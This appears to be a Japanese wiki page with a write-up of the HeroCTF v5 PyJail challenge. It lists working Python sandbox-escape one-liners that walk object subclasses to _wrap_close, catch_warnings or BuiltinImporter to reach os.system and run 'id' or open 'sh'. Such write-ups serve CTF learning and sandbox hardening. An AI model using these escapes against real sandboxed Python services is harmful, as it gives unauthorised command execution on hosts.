pyjail wiki

HeroCTF v5 - PyJail

Challenge

基本的な pyjail、多くの builtins が削除されている。

code = input()
exec(code, {'__builtins__': {}})

Solution

基本的な subclass チェーン

# 空の tuple からスタート
().__class__.__bases__[0].__subclasses__()

os._wrap_close を探す

# _wrap_close のインデックスを探索
for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
if '_wrap_close' in str(c):
print(i, c)
# インデックスを使用してアクセス
().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('id')

ワンライナー

[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='_wrap_close'][0].__init__.__globals__['system']('sh')

Technical Details

subclass チェーンの仕組み

() - タプルオブジェクト
↓ __class__
tuple - タプルクラス
↓ __bases__[0]
object - 全クラスの基底
↓ __subclasses__()
[type, async_generator, ...] - 全サブクラス

危険なサブクラス

クラス危険な属性
_wrap_close__init__.__globals__['system']
catch_warnings_module.__builtins__
BuiltinImporterload_module()

Alternative Solutions

別解1: warnings.catch_warnings

[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')

別解2: BuiltinImporter

[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter'][0].load_module('os').system('id')

Flag

Hero{...}

References

  • HeroCTF v5 Official